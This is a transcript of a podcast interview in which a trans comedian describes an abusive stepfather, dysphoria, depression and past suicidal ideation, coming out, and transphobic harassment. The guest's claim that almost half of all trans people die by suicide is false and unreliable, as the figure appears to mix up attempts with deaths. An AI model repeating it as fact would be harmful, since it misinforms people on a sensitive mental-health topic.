OLIVIA: Oh. He thought I was a worthless piece of shit [chuckles] and he would focus on any sort of negative thing that I did. He would just pick up on it and become, and like focus on it and, you know, throw it back in my face at every opportunity. And he was the one who, in an attempt to hurt my mom in an argument, he told me about my dad cheating on her and that's why they broke up, just petty, you know, in a fight.
PAUL: I think that's just good, solid parenting--
[Chuckling]
PAUL: The kids have to have the facts--
OLIVIA: You know, it's true--
PAUL: --and he manned up.
OLIVIA: I do, you know, I do appreciate the honesty, in a certain way [chuckles], but no, and he also, well, he held the fact that I, you know, was an immigrant's kid against me like--
PAUL: Was your father Arab or your mother?
OLIVIA: My father. He's from Lebanon. He moved here in college, went to IU, and there he met my mom and they got together. And, but yeah, and we'd never heard from him [chuckles] since he left and he, and my stepdad was convinced that my mom was still in love with him.
PAUL: Yeah.
OLIVIA: And that I was some sort of, I guess like demon spawn who just wanted nothing but to get in his way and destroy him--
PAUL: Because he's an alcoholic and it's all about him, you know.
OLIVIA: Yeah, he's, oh, yeah. It's pure, it's alcoholism and it's narcissism, all in one, with a little bit of bipolar in there for good measure.
PAUL: Yeah. There's three things that doctors agreed on over, you know, 70, 80 years ago, when they were trying to figure out how do we deal with alcoholics, and the three things that doctors who saw alcoholics daily coming into psych wards and hospitals and stuff, and this applies to addicts as well, is they're emotionally immature, hypersensitive to criticism--
OLIVIA: Yeah, yeah.
PAUL: --and self-centered.
OLIVIA: Totally, yeah. That checks with all of my experience, too [chuckles].
PAUL: But, that being said, those are, those kinds of things can be managed--
OLIVIA: Totally, yeah.
PAUL: --and that's why alcoholics and addicts need so much help and--
OLIVIA: Totally.
PAUL: --I'm including myself in that, yeah.
OLIVIA: Oh, okay. Yeah. Yeah, you know, like, and he went through a lot of terrible things in his life. He was abused as a child by an uncle and, you know, just terrible things, but--
PAUL: Sexually abused?
OLIVIA: Yeah, sexually abused. But like, in my time growing up, I also, I met other people who've gone through similar experiences and they don't berate their loved ones--
PAUL: The majority of--
OLIVIA: Exactly [chuckles]. So, it was, you know, it's one of those things where he would use stuff like that as a shield against any sort of criticism or anything.
PAUL: Yeah.
OLIVIA: But yeah, luckily, they're not together anymore [chuckles]. That's good, but that was, it took a long time for me to realize that like, it seems weird, but I didn't know for a long time that like having that sort of an overwhelming negative force throughout my formative years would have had long-term effects, who'd have thought [chuckles]?
PAUL: Yeah. And then you throw being trans--
OLIVIA: Yeah, and that's like--
PAUL: --in a society that is so hostile to it.
OLIVIA: Yeah, definitely. And I mean, and also growing up in the middle of nowhere, I didn't know anything about being trans. All I knew is that, from when I was a little kid, I had these ideas that I wished that I was a girl. Like, that was it. Like, I didn't dress all in pink. You know, I didn't go through that stereotypical trans narrative.
And so, I didn't even understand that as something that like applied to me. I just thought I was fucked up [chuckles], you know.
PAUL: That had to have been really, really painful and isolating.
OLIVIA: Yeah, it definitely, it wasn't great [chuckles]. Yeah, no, it was very confusing. You know, I kind of, I bounced around trying to figure out what was going on. I thought I was gay for a little while and then I had a girlfriend and I'm like, oh, no, I definitely like girls [chuckles], and then I, I don't know. I just like, I just kind of bounced around.
And, and what I realize now was dysphoria, but I didn't have a name for at the time, would like come in waves. I would be fine for years and not think about it at all, and then it would all come rushing back and I would fantasize about it for months, and then it would go away again. And I would get full of shame and like push it back down.
PAUL: Can you be more specific about dysphoria?
OLIVIA: Oh, yeah, totally. It's, like I said, it's a term that I'm only like being able to like retroactively assign to like experiences that I had, but it, to me, it's like, it's a bit like, just a [sighs], a wave of not, of feeling not-right, of like not feeling comfortable in your own body and, you know, well, no . . .
PAUL: And is that because the gender you were assigned at birth doesn't coincide with the gender you express because it feels like the authentic you?
OLIVIA: Right, exactly. Yeah, it's one of those things that I have a hard time actually like putting like a real specific definition on, just because it has taken so many shapes through my life.
Like now dysphoria feels more like regular old depression and it kind of has, as I've transitioned and as I've started on hormones and that sort of thing, the gender aspects of it have kind of gone to the wayside, where I feel more comfortable in my identity, but when I was younger, it would be, it would manifest in a lot more confusion.
It would be depression mixed with this like, I'm not right, something's not right, but I don't know what to do about it and I feel like this is never going to change [chuckles]. I didn't--
PAUL: You must have felt so trapped.
OLIVIA: Yeah, yeah. I mean, I have had a crisis of identity for most of my life, and being trans is like a part of it, but a lot of it was just not knowing like who I was at all, and then add in this whole trans element, it was, yeah, it was very lonely and confusing. I had a hard time making friends because I was, I didn't know who I was so I didn't know how I could contribute to any social relationships.
PAUL: Did you have suicidal thoughts when you would be going through these moments?
OLIVIA: Yeah. I would have suicidal thoughts off and on, especially through my teenage years, and sometimes they would be associated with the dysphoria and sometimes it would just be regular old depression, which I didn't get diagnosed with until I was 18.
And so, yeah, I never attempted suicide, but it was definitely something that was, you know, that I've always struggled with, is that suicidal ideation of just like, yeah, you know, I guess I could kill myself, yeah, that wouldn't be too bad, and that sort of thing [chuckles], which I don't have, you know, I used to struggle with that a lot more than I do now.
PAUL: What did you think when you read the letter from Leelah?
OLIVIA: From . . .
PAUL: The trans girl that died.
OLIVIA: Oh, yeah. Yeah.
PAUL: I think she stepped in front of a truck or something.
OLIVIA: Yeah, oh, man.
PAUL: It was about two years ago--
OLIVIA: Yeah, I do, I do remember that now. Yeah. I mean, like part of being trans, or at least being like a trans person who's aware. There are, of course, you know, trans people who choose not to be a part of the wider community. But every trans person's death really takes an emotional toll and it, yeah, I remember that story.
Specifically that was, that was a really dark period. You know, the last few years, there have been a number of, I mean, just a massive increase in trans suicides and hate crimes and . . .
PAUL: I could be getting the number wrong, but I'm told that the percentage of trans teen suicides is like over 25%--
OLIVIA: Oh, well--
PAUL: --it was like 40, I think I remember hearing 40--
OLIVIA: Yeah. For, I don't know the specific number for teens, but for trans people as a whole, the percentage is usually estimated at 44%. Almost half of all trans-identified people commit suicide, and that number actually is probably a lowball just because a lot of, we have to take that based on the reported identity and there are a lot of times where someone will kill themselves and they won't, their trans identity won't be reported because they didn't--
PAUL: They didn't reveal it.
OLIVIA: They didn't reveal it, or their family denies it, or, you know, or refuses to accept it or all sorts of different reasons. The police just don't recognize it.
Like there was just a person who was murdered yesterday that I read about and they identified them as a gay male but from reading reports from loved ones it seemed like they were a trans woman. So, yeah, I remember Leelah, though. That was, yeah, that one was--
PAUL: It was heartbreaking.
OLIVIA: Yeah. I mean, yeah, and like I said, every one hits me. You know, I, I kind of take every trans person's death to heart because it could be any one of us. I mean, it could have been me at a certain point in my life, like, I mean, you know. It's really hard.
And I've actually had people [chuckles] in conversation with, like I'll be hanging outside a comedy club or something and somebody will just be chatting with me and they'll be like, oh, yeah, I had this trans cousin and, you know, and they killed themselves and, you know, and for them it's like just passing conversation--
PAUL: Right.
OLIVIA: --and they don't realize that I have to take a moment to process and be like, oh, that's horrific, like I’m so sorry. Like--
PAUL: Like I had a dog that ran away from home.
OLIVIA: Yeah, exactly. Exactly. It's that they treat it--
PAUL: Although that would break my heart--
[Chuckling]
OLIVIA: I mean, it would be very sad. And it was just, it's just like how cavalier people can be about, you know, trans lives and about especially like using us as a prop to be like, hey, look, we're, I know, I'm cool with trans people, I knew my cousin who killed themselves.
PAUL: You know, when I started doing this podcast five years ago, I didn't know much. I didn't understand the terminology. It's been a real learning curve for me, so I can't imagine how hard it must be navigating a society where even a well-intentioned person like myself doesn't--
OLIVIA: Totally.
PAUL: --understand so much of what it's like to be you, let alone being surrounded by hostility, active hostility.
OLIVIA: Yeah. It's definitely kind of surreal, and yeah, it's funny that you say in the last five years, because that's really just been when it's become an item of national notice. I only, I came out, oh, about five years ago, and that was after I learned about what the term transgender meant and like realizing that a lot of those things applied to me and that it was possible to transition and you didn't have to be like the traditionally feminine person.
And yeah, but like, it is really hard because there are all these misconceptions, and I had all of those misconceptions [chuckles] for my entire life, which is like the main thing that kept me from coming out, was I had society's notion of what a trans person was in my head, you know, which is like a mixed-up combination of Buffalo Bill and a porn star and--
[Chuckling]
OLIVIA: --like all, you know, just, and like Mrs. Doubtfire, like all mixed up in my head. You know, like, oh, that's what a trans person, it's either goofy-ass Robin Williams in a dress or like this smokin'-hot model who has giant double-D boobs and a huge cock and like [chuckles], and neither of those identities struck a chord with me, so yeah, that's like, that's the main thing that kept me hanging out in the closet, was--
PAUL: Wow.
OLIVIA: --I just didn't know that I could be what I am right now.
PAUL: Isn't it amazing how life-changing a moment can be when you see you.
OLIVIA: Yeah, totally. Yeah, that's actually, that is exactly the thing, like the moment that happened to me, when I knew that I had to come out, was I read this journal article about the stages of a closeted trans person's life based on all these different studies and like talking to people, and I was reading it and they separated it out into like life stages of like young childhood and pre-teens, teenager, young adult, late adult, older age, middle age, you know, and like going up, and as I was reading it and as I would get through to like where I was in life, in my early 20s, and I just kind of like was like, oh, my God, this is, it felt like I was reading my life story.
Like, and it didn't talk about the traditional gender narrative and all that stuff. It didn't talk about, oh, plays with dolls and wore lots of pink.
It was like, constant feelings of being trapped and in the wrong body and, yeah, and [chuckles] then I kept reading past where I was in life and it just kept getting darker and darker and darker, till ultimately suicide usually, and I was just like, I've got, like I've got to come out. I've got to do something about this because I didn't see my life getting any better and, yeah.
PAUL: Do you remember what the name of the book or article was?
OLIVIA: I wish I could, because I would totally love to share it, but I was a big part of, well, not a big part, but like I would spend a lot of time on Reddit's trans sections, which are different than the rest of Reddit, or were when I was--
PAUL: Was that just like a gold mine for you?
OLIVIA: Oh, yeah. It was amazing.
PAUL: I can't imagine what that--
OLIVIA: Yeah. It was mind-blowing just to, they have, there's a section called Ask Transgender, and it's trans people, questioning people or cis people who can, you know, ask whatever question that they have about what it means, you know, what a transgender person goes through or what it means or what this means or anything, and I would just read through these stories.
And, yeah, I kept seeing myself in there and just being like, man, this is, that's, like it's, the world is so much broader than I knew and like the ideas of gender and all of this are so much different than how I knew them.
PAUL: Yeah. I mean, because it would be like saying all ladies wear pink.
OLIVIA: Exactly, exactly.
PAUL: That would be offensive.
OLIVIA: Right, totally. And that was kind of the switch that flipped in my mind, that made me go, oh, okay, I can, I can do this, because there are women, there are cis women who look like me [chuckles]. Like I've met them. They look like me. They have beard shadow because they're Arab and facial hair is just a fact of our lives.
So, you know, it's like, it was this real eye-opening experience of just like, oh, okay, that's what, I can do this and it doesn't have, I don't have to be, I don't have to aim for being some sexpot. I don't have to be, I don't have to be straight. Like, I can be, you can be a lesbian trans woman, which was not something that I knew. And, you know . . .
PAUL: How freeing did that feel in that moment?
OLIVIA: Amazing. Like, yeah, it was one of, it's hard to even put into words, partially because I was trained from a very young age to not express my emotions [chuckles], and so I'm not very good at it, but also like, yeah, there's just not really any words for it.
It's like, it's just this feeling of being recognized, of being like, oh, there's all these other options of how to live in this world that like I'd never even considered or had had told were like not viable and--
PAUL: I would imagine it would be like going from, I have to conform to, I’m enough--
OLIVIA: Yeah.
PAUL: --I'm okay as I am.
OLIVIA: Exactly. Yeah. And conforming has always been like a thing that I was never very good at [chuckles]. I would always, yeah, I would try to and would always fail, and that would cause, you know, more depression and more feelings of self-loathing and all of that. So, yeah, it was good to know that it was possible.
And I mean, like it wasn't like an immediate switch. Like I still, like especially in the early years, well, I mean, it's only been five years now. Wow, five years [chuckles].
But like in the early going, like it was tough because, you know, you're kind of figuring out what being a woman means to you or--
PAUL: That must have been incredibly exciting, though.
OLIVIA: It, it was. It was--
PAUL: But terrifying.
OLIVIA: --it was terrifying. It was definitely, yeah, it was, it was a mix of both. It was, it was exciting. It was terrifying. It was baffling, because there's just, there's so much socialization that you miss when you're being raised in the wrong gender, you know, because everything in life, from when you're a tiny little baby, is strictly, rigidly gendered, and it's not something that you even realize until you start like stepping outside of the gender norms.
PAUL: And watch people freak out.
OLIVIA: Exactly, yeah.
PAUL: I can't name you. Where do I file you away?
OLIVIA: Oh, yes. I love, I love the look on people's faces when I break their brains.
PAUL: Yeah.
OLIVIA: It's always, it's always very fun, and it's especially fun if I’m like performing and I can tell in the front row that someone is just like, I've never seen one of you before.
[Chuckling]
PAUL: Olivia does stand-up comedy.
OLIVIA: Yeah, yeah, I do, I do some stand-up around . . .
PAUL: I would imagine for super-intolerant people, it's almost like a form of social OCD, like I can't--
OLIVIA: Oh, yeah.
PAUL: --I'm angry because this is out of order.
OLIVIA: Definitely.
PAUL: And then chaos is going to ensue.
OLIVIA: I mean, that seems to be the main thing, is people not being able to just process something that exists outside of their rigid framework of existence, like their understanding of how people can live is what props them up [chuckles], like they're not, I think people feel like their own personal existence is threatened by someone living outside of that, be it whatever. Like, you know, be it being trans or, you know, doing whatever, I have that constantly--
PAUL: What did you think the first time you saw Eddie Izzard perform?
OLIVIA: Oh, my gosh [chuckles]. I love, I love Eddie Izzard. He's one of my favorites, and yeah, there was definitely a connection there that I felt when I first--
PAUL: Now, Eddie doesn't identify as female.
OLIVIA: No.
PAUL: But he, is it just when he performs or is it in the rest of his life that--
OLIVIA: I don't think, I don't think he--
PAUL: --that he expresses himself as female in his clothing?
OLIVIA: I think both, but I don't think he does it as much anymore. I don't think, and his famous line was always, when people would ask why he wears women's clothes, he says, I don't wear women's clothes. I wear my clo-, they're my clothes. They're not a woman's clothes. They're mine. And that I always loved, and I, that was definitely one of my very early, and like I watched the Dressed to Kill special on HBO and that was a really revelatory thing, and also the fact that, like, I mean, the cross-dressing didn't matter to most of his comedy--
PAUL: Is that the term that, for what Eddie does--
OLIVIA: I mean, I, I think he prefer-, at least in the times I've heard him talk about it on stage, I think he goes by transvestite. And, but that's also kind of a term that--
PAUL: It seems antiquated to me.
OLIVIA: Yeah. It's not really a term that people use anymore.
PAUL: Right.
OLIVIA: I think it was more, it was definitely in use in like the '90s when he was really working, but no, it's cross-dresser is, it means the same thing. It's, you know, a person who wears clothes, you know, of a gender that they don't identify as, I guess is the really convoluted way of explaining it.
PAUL: Yeah.
OLIVIA: But, yeah, no, that was definitely formative when I was young.
PAUL: And the reason I ask how you would explain it is because, not that I need to categorize it for my own sake, but let's say you wanted to describe Eddie to somebody--
OLIVIA: Totally.
PAUL: --I would, I found myself wanting to describe Eddie to the listeners that aren't familiar with him and then all of a sudden I got anxious, like I'm going to say something--
OLIVIA: [Chuckles]
PAUL: --that's totally fucked, although I have to say, of 99% of the e-mails I've gotten from people in the trans community or people who are close to the trans community kind of steering me--
OLIVIA: Yeah.
PAUL: --have been very loving and diplomatic and appreciative.
OLIVIA: You know, yeah, I think, there's a certain understanding among trans people that we're a relatively new th-, like thing for wider America to know about, and I acknowledge that being trans is not, it's not, you know, big air quotes, normal. You know, it's like it's a thing that people might not be used to, like there's a lot of concepts associated with it that people might not be used to, and there's nothing wrong with that.
It's when people just accept their ignorance and don't want to learn and move on, that that's when I start to get belligerent.
PAUL: Yeah.
OLIVIA: I'm kind of, I'm kind of one of the angry ones [chuckles] a lot of the time. I, yeah, I tend to much more angrily vocalize--
PAUL: Can you give us some examples from your life--
OLIVIA: Me being angry?
PAUL: Yeah. Where it's come up, either negative encounters or positive encounters, but just, I want the listener, and me, to be able to better understand your experience.
OLIVIA: Totally. Yeah. I guess, well, I mean, it's Trans Day of Remembrance [chuckles], and it just so happens that a year ago, on the last Trans Day of Remembrance, a fellow comedian came out of the woodwork on Facebook to like just start, on a post of mine, to start slinging crazy transphobic shit at me, and I just met insult with insult.
It's one of those things where after I get attacked I'm less willing to be polite and try and like reason with someone who is just like, told me to watch my back or, you know, called me tranny or whatever. I used to try to be very diplomatic.
PAUL: What do you think that person's reason for being so hostile towards you was?
OLIVIA: Because he doesn't like--
PAUL: It scares him.
OLIVIA: Yeah. He's gay and he thinks that he's an authority on everything not straight.
PAUL: Oh, he's out.
OLIVIA: Yeah, he's an out gay man.
PAUL: Okay.
OLIVIA: Yeah. And that’s, unfortunately, an attitude that does come out in some cis gay men, a feeling of ownership over all LGBT issues, even when they don't have any knowledge of like trans issues in particular. So, yeah--
PAUL: Oh, irony, there's no corner of the globe you won't travel.
OLIVIA: Oh, yeah, I know, right? [Sighs] It really is, like you would, it's always baffling to me when I see people who are themselves a member of a marginalized community like using the same ignorant language at another like community, it's always weird--
PAUL: It happens a lot with immigrant communities--
OLIVIA: Yeah.
PAUL: --you know, the Irish were shit on when they came here, and some of the most violently racist people I know are maybe second-, third-generation Irish Americans and there's just this, you know, the neighborhood where I was raised, not a very tolerant place.
OLIVIA: Yeah.
PAUL: Not a very tolerant place, yeah.
OLIVIA: Yeah, it's crazy. I don't, it's one of those things that I'll never, it'll never fail to just boggle my mind of just . . .
PAUL: So, give me some moments, in addition to the Facebook one.
OLIVIA: Let's see.
PAUL: And what was that person's issue with you? What specifically did they have a problem with?
OLIVIA: He, I made a vague reference in my Trans Day of Remembrance post to seeing several comics make transphobic remarks, didn't call out him or anyone in particular. It was just like, oh, I've seen like five or six people say a lot of shitty things on today, and today is kind of a bad day for that [chuckles].
You know, this is a day of like where we recognize the members of our community who were taken from us, and to, on today of all days, to say transphobic shit is really annoying, and I guess someone on my friends list told him about this and he assumed that I was just talking about him and came and started fighting me.
PAUL: And do you remember what the thing was that he had said that upset you?
OLIVIA: Ah, oh, boy. It was something about watch your fucking back or something. I can't even remember. It got to be like, it was ridicu-, it was [chuckles] out of c-, it got to be like 170 comments.
PAUL: Like watch your back, as in that was supposed to be like a sexual innuendo or something, like--
OLIVIA: No. Like, you know, watch who you're talking shit about because I can ruin you in this town or something like that, you know, like trying to throw weight around, like he means anything. It, you know, posturing, that sort of thing--
PAUL: I see. Well, I was also curious about what the comment was that he had made or in general that you were talking about, the transphobic comments that you were writing about--
OLIVIA: Oh, the thing that, oh, yeah. I mean, like I said, there'd been several. Like the one of his that had happened, another trans comic had written a piece just talking about her experiences with anti-trans bigotry, and he wrote this thing like, look at this crybaby, these people, you know, there's a fucking reason these people commit suicide and all this, you know, just like going off.
And it's like, Jesus, like really, you want someone to commit suicide because they're hurt by people being like prejudiced to them [chuckles]? Like, that's horrific. That, I mean, you know, and yeah, and then it just, I guess that was what got back. Anyway, you know, and that's, I've tried to not get into as many online fights as I used to.
PAUL: It's pretty futile. You're not going to change their minds.
OLIVIA: Yes, but it feels really good.
PAUL: For about five seconds--
OLIVIA: Yeah [chuckles].
PAUL: --and then I want more, then I want more.
OLIVIA: [Sighs] Sometimes it's just like I need to get my heart rate up and I don't do much cardio and so, it's what I've got [chuckles].
PAUL: Give me some other examples, if you can think of--
OLIVIA: Yeah.
PAUL: --things that help convey your experience.
OLIVIA: Definitely. Let's see. When I first moved out here, one of the first experiences I had, I went to one branch of the L.A. LGBT center that has like an outdoor courtyard, and I was just, you know, I was dressed pretty simply, just wearing like a top and a skirt, and some guy comes up to, like walks off, like I saw him walking down the sidewalk, then like double back and come back over to me, and be like, hey, do you know where all the trannies hang out?
And I'm just like [chuckles], uh, no. I just moved here. I don't, I don't know where all the trannies hang out--
PAUL: Wow.
OLIVIA: --we're not of hive mind. We're--
[Chuckling]
OLIVIA: I'm not queen tranny. I'm not, you know, I don't know where everyone is, you know. And I've had several creepy, usually creepy older men, that's who I get approach me, you know, thinking I’m a prostitute or wanting to kiss me or do gross things--
PAUL: Like you're desperate because you're marginalized--
OLIVIA: Yeah, exactly.
PAUL: --here's my chance.
OLIVIA: Yeah, I'm fat and I'm not conventionally feminine, and so that makes me an easy target. Like, here, oh, you'd be desperate for any sort of cock, I guess.
PAUL: What in that moment, do you remember what it felt like, what you thought?
OLIVIA: Oh, I mean, I was, I'm always at first like caught off guard, because I don't ever expect anyone to talk to me in public [chuckles]. I try to minimize that as much as possible.
And yeah, and so it's mostly just a bun-, it's shock and it's, I try, you know, my main, I react to everything by laughing, so there's usually a little bit of me laughing at whatever is happening, and yeah, then just trying to blow them off as quick as possible so I can get away. I mean, there are definitely times when you feel threatened.
Like I've had guys follow me in the middle of the night, which is not great, you know, and that's pretty terrifying. But like, yeah, I've gotten pretty callous, though. I'm pretty good at, now I just kind of tell people to fuck off. I don't take anything. I carry a knife. I don't [chuckles], I don't want, it's like, okay, if you're going to try to do something, then just fucking try it so that I can move on with my night, please.
[Chuckling]
PAUL: What did it feel like the first time you put on clothes that felt authentic to you?
OLIVIA: Ah . . .
PAUL: Or did something that embraced the authentic you that you had been too afraid to do before.
OLIVIA: It's, ah, it's a complicated mix of emotions, especially, you know, back at the beginning, I still had a ton of deeply ingrained shame about the whole thing, so that was always there, you know, just like, God, this is, oh, this is so stupid--
PAUL: Oh, shame always gets a front-row seat.
OLIVIA: Yeah, yeah, yeah, of course.
PAUL: It stands in line for tickets.
[Laughter]
OLIVIA: Yeah, so it's, it was shame but also like kind of realizing like, oh, oh, it's not, I guess it's not that bad [chuckles]. Like I had--
PAUL: The mirror didn't crack?
OLIVIA: Exactly. Like, I didn't, I had expectations of like, of, I don't know, feeling like more self-doubt and more self-loathing or, I don't know. I don't know what I expected--
PAUL: Like maybe a fear that, oh, my God, this is an even worse decision than staying in the closet?
OLIVIA: Yeah, exactly. I definitely had a lot of anxiety pre-coming out and like immediately post-coming out. I had a lot of anxiety about what's known as like passing, which is not a term that people have a lot of fondness for right now.
PAUL: Yeah.
OLIVIA: Because it's kind of a shitty concept, the idea of like passing or not, people not being able to tell that you're trans.
PAUL: Yeah. It's like success means being approved of.
OLIVIA: Exactly, success means, oh, now you're hidden in a different way.
PAUL: Right.
OLIVIA: Now you've gone through coming out of the closet and now you're back in a different closet where people will, where you're afraid people will find out about something.
PAUL: So, there would be a difference, then, between passing being your goal and passing being just a byproduct of you trying to express yourself as fully as you--
OLIVIA: Exactly. That was a big switch that I had to make in my mind, where I had to be like, I was at such, you know, I mean, I had to get to like rock bottom mentally before I even considered transitioning to begin with. I was at a very low place.
And then it just became like, you know, like even if I don't pass, like I'm happier being, you know, a, quote, like ugly woman, I'm happier being that than a depressed dude. Like it's, I'm, yeah, yeah, the way I put it to my therapist is like, I feel more comfortable being a fat chick than a fat dude. Like, it's just like it fits with my personality more.
PAUL: Give us the arc of the decision to come out, some snippets of coming out, and then the decision to transition and what that was like.
OLIVIA: So, the decision to come out, it came from doing like a ton of reading. Like, I've always been a researcher. I've always been someone who, you know, reads as much about whatever thing before I make any sort of leaps. And then it started with, I've got, pardon me, my best friend who lives in Indiana, we would hang out every day when I lived there, and just one day in the car I was like, so, I think I'm transgender [chuckles], you know, kind of, that was like literally how it came out, and he was like, okay, yeah, that's cool.
Like, and then it just kind of slowly went from there, and then I told my mom and she cried, but was fine with it after a short amount of time.
PAUL: Were her tears because she feared for your struggle or she was embarrassed or both?
OLIVIA: It was part of both, I think. She's got her own issues that she has a hard time, that she struggles with. Oh, I’m trying to think of what the right term, kind of the keeping-up-with-the-Joneses thing of just like, but it's more of, it's just kind of a culture that's perpetuated in the Midwest like of, oh, everyone, you know, you've got to do this thing, like, you know, or else people will look at you and people . . .
PAUL: Yeah. And I think different areas of the country, their thing of keeping up with is a little different than other areas--
OLIVIA: Yeah, definitely.
PAUL: --and me being from the Midwest, it's, you know, don't look too different.
OLIVIA: Exactly. It's you know that everyone is watching even if they're pretending like they're not watching, and they're like [chuckles], and they're taking note of everything and then they'll passive aggressively be like, so, I noticed that so-and-so is this, is that really going on, like, and so my mom is very conscious of all those things and so was very nervous about that sort of stuff and was nervous for me and, you know, didn't know if I knew what I was doing.
And so, we sought out a therapist and I found actually a trans woman who specializes in gender therapy and she was amazing.
PAUL: And this was in Indiana?
OLIVIA: Yeah, yeah.
PAUL: That's fantastic.
OLIVIA: I just, yeah, I just happened to have a friend of the family who was, who works in the psychiatric field and he was able to hook us up with this lady, and she was amazing and really helped me talk through my feelings and kind of understand the nuances of like, oh, well, gender doesn't have to be this. It can be, you know, your idea of what it means to be a woman is just as valid as anyone else's because there are a million different ways to be a woman. That's--
PAUL: And a kid may see you walking down the street and say, that's me, it's okay to do that.
OLIVIA: I mean, yeah [chuckles], it's true. I mean, yeah, any sort of representation is positive. It's like, oh, I'm glad that, you know, if that could happen, that would be great.
But, yeah, and so, then it just kind of went from there. And then a year later, I started taking hormone therapy, which is just a combination of estrogen and testosterone blockers. And then, yeah, and then I moved out here, and then that's really where, like I was out in Indiana except for at my jobs.
PAUL: Wouldn't it be funny if you came out in Indiana but were closeted in Los Angeles?
OLIVIA: Yeah [chuckles], yeah, I moved out here and then I went back into the closet for a little--
PAUL: It just didn't feel safe.
OLIVIA: You know, it was really, it's like it's a big, this place seems kind of repressed and so I just wasn't feeling comfortable with it.
[Chuckling]
PAUL: And, by the way, there are some great places in Indiana that are--
OLIVIA: Sure.
PAUL: --all of Indiana isn't like that. It's, Bloomington is great and Broad Ripple in Indianapolis is a pretty cool place.
OLIVIA: Yeah, Broad Ripple is cool. I, yeah, like there are, I really hate Indiana [chuckles], but that's mostly just me. Yeah, there are lots of, there's a place in Indianapolis called the Indianapolis Youth Group that I went to a little bit in high school that has an LGBT youth center.
And it was like, it was this tiny little house in Indianapolis [chuckles], and it was like, it looked like if you see a picture from, of the houses where people would like hide Jews during World War II, like, these like tiny little arch-roofed houses with little attics and we would meet in there and be like, oh, it's safe here, this is our safe space.
PAUL: Like the tiny-house movement.
OLIVIA: Yeah [chuckles], exactly.
PAUL: Have you seen those?
OLIVIA: Yeah, yeah. And like, and I tried to start a gay-straight alliance at my high school, but we got roadblocked by the principal, and so that ended up not happening. But yeah, so Indiana is not all bad, but it is pretty bad.
PAUL: So, the decision to transition, what were the things that went through your mind? Was it like a list of pros and cons, or was it just, yes, I want to do this, there's . . .
OLIVIA: Yeah. It basically came down to the point of like, of me recognizing that I'd had these feelings for so long and--
PAUL: And we're talking about physically transitioning, correct?
OLIVIA: Well--
PAUL: Or are you talking about coming out and--
OLIVIA: Yeah, coming out. Like transition is a broad term. Like, transition isn't just taking hormones. It's literally--
PAUL: No, I know. I'm asking in your particular case, are you talking about physically, my question was, the decision to physically transition, to do hormones.
OLIVIA: Oh, yeah. That was not even like, like once I decided that I wanted to come out and like start transitioning, I knew that hormones were on--
PAUL: Okay.
OLIVIA: --like hormones and surgery and everything like, was like, oh, this is on the table for the future. I just didn't know when I would get to it.
PAUL: And is it, I know it's a very personal question, but is it okay to ask what kind of physical transitioning you hope to do?
OLIVIA: Yeah, sure. Well, like I said, I've been on hormones for three years, or four years? Now I can't remember. Oh, my God. Been on hormones for about three to four years. I'd like to have gender-confirmation surgery, meaning bottom surgery. I'd like that. I'd like that soon [chuckles].
I would like, preferably I would like to be able to do that within the next year so I could have it done before I'm 30 and then just freely enjoy the rest of my 30s, but, you know, we'll see what happens with everything that's going on in the world.
PAUL: I imagine there are a lot of people that think transitioning is about what they prefer sexually.
OLIVIA: Yeah. Definitely. I know I did when I was first questioning and trying to, and coming out. There is a lot, like people do tend to lump gender and sexuality in together.
PAUL: I did when I started doing the podcast.
OLIVIA: Yeah, totally. Like it, and it's because, for so many people, those things are inexorably linked. You know, you have, you're certain in your gender and you're certain in your sexuality, and so those things kind of go hand in hand, but once you start questioning that, then all of the preconceived notions kind of just go out the window.
It was a difficult thing to figure out, though, and it was when I found out, I think, that, when I found out about that separation of gender and sexuality, that's when I really, that helped a lot. But I--
PAUL: Did you feel relief when you realized--
OLIVIA: Yeah, yeah, definitely. And like, and I do, like I have sexual attraction to men, but I do identify most, you know, as a lesbian because I'm really only emotionally attracted to women. So, it's like, and to find out that that's a legitimate orientation was definitely a relief, and I do think that people conflate those a lot.
PAUL: And I think there's also a lot of misunderstanding around people who are gender fluid or who are pansexual--
OLIVIA: Oh, totally. Yeah, yeah, yeah.
PAUL: --and it's not a phase that you're going through, you know, because you're moody.
OLIVIA: Yeah, totally.
PAUL: It's just . . .
OLIVIA: It's, well, that's the thing, is like there's all these, people have these very gut-shot, like gut defensive reactions to like new terminology, and they feel like, and, you know, I see people being like, oh, why are we, why do we even put all these labels on things, you know, like why can't everybody just be people? And it's like, well, it's not for you [chuckles]. I--
PAUL: Sorry to make your life so burdened--
OLIVIA: I know.
PAUL: --by six new words.
OLIVIA: Oh, God, you've got to learn pansexual and polyamorous and gender fluid and all these things, like, oh, my God, it's the worst [chuckles]. And yeah, it's, the words are for us. You know, the words are for us to be able to go, oh, this, like this is how I'm making sense of myself in my head. Like, yeah, you know--
PAUL: I want to be seen.
OLIVIA: Yeah.
PAUL: Do you mind learning six words so I am a valid--
OLIVIA: Exactly. And I do--
PAUL: --member of society?
OLIVIA: Right. And I do simplify, I definitely simplify my words when I'm talking to people, and then people get confused by my simplifica-, like I, you know, I'm a transgender woman and I'm a lesbian, and that's too complicated for a lot of people.
PAUL: Mm-hmm.
OLIVIA: But then, you know, when you want to get specific, then people get more freaked out because you're using words that they're not used to.
PAUL: Are you sure you're not just doing this so that when you golf you can hit from the red tees?
OLIVIA: Yeah, that's, I mean, golfing is, I will admit, is a major motivator in most things in my life, especially my gender.
[Chuckling]
OLIVIA: I just am constantly looking to improve my golf game.
PAUL: How can I shave a couple strokes?
OLIVIA: Yeah. I just want to take two strokes off my golf swing, and that's it. And I feel like, you know, women have it a lot easier when it comes to golf, like I don't want to--
PAUL: The red tees are, what, a good 100 yards ahead of the white tees?
OLIVIA: The red tee, talk about the red pill, am I right, you know?
[Chuckling]
PAUL: Right now there are some listeners that are very confused, that don't know--
[Laughter]
PAUL: --are they being sarcastic? What are red tees? Does it have to do with menstruation?
OLIVIA: I don't know what red tees are [whispers].
PAUL: Yeah. It's the ladies' tees, what they call the ladies' tees in golf--
OLIVIA: I didn't know that--
PAUL: --which are always, it makes the hole shorter, so--
OLIVIA: Really?
PAUL: Yes, yeah.
OLIVIA: Golf?
PAUL: Hard to believe, golf is, has some traditions that are still there.
OLIVIA: I didn't know that [chuckles].
PAUL: Yeah. So, that was my joke. You're just doing it to hit from the red tees, which is actually, I think there's a joke-joke that's super old about that. Anyway--
OLIVIA: Yeah. Oh, I mean, there's every--
PAUL: I feel comfortable enough with you to let all the bad jokes out of my brain.
OLIVIA: That's fine. I can take them. I can take them.
PAUL: So, where were we before I brought everything to a standstill?
OLIVIA: [Chuckles] We were talking about golf, right? That was . . .
PAUL: Yeah.
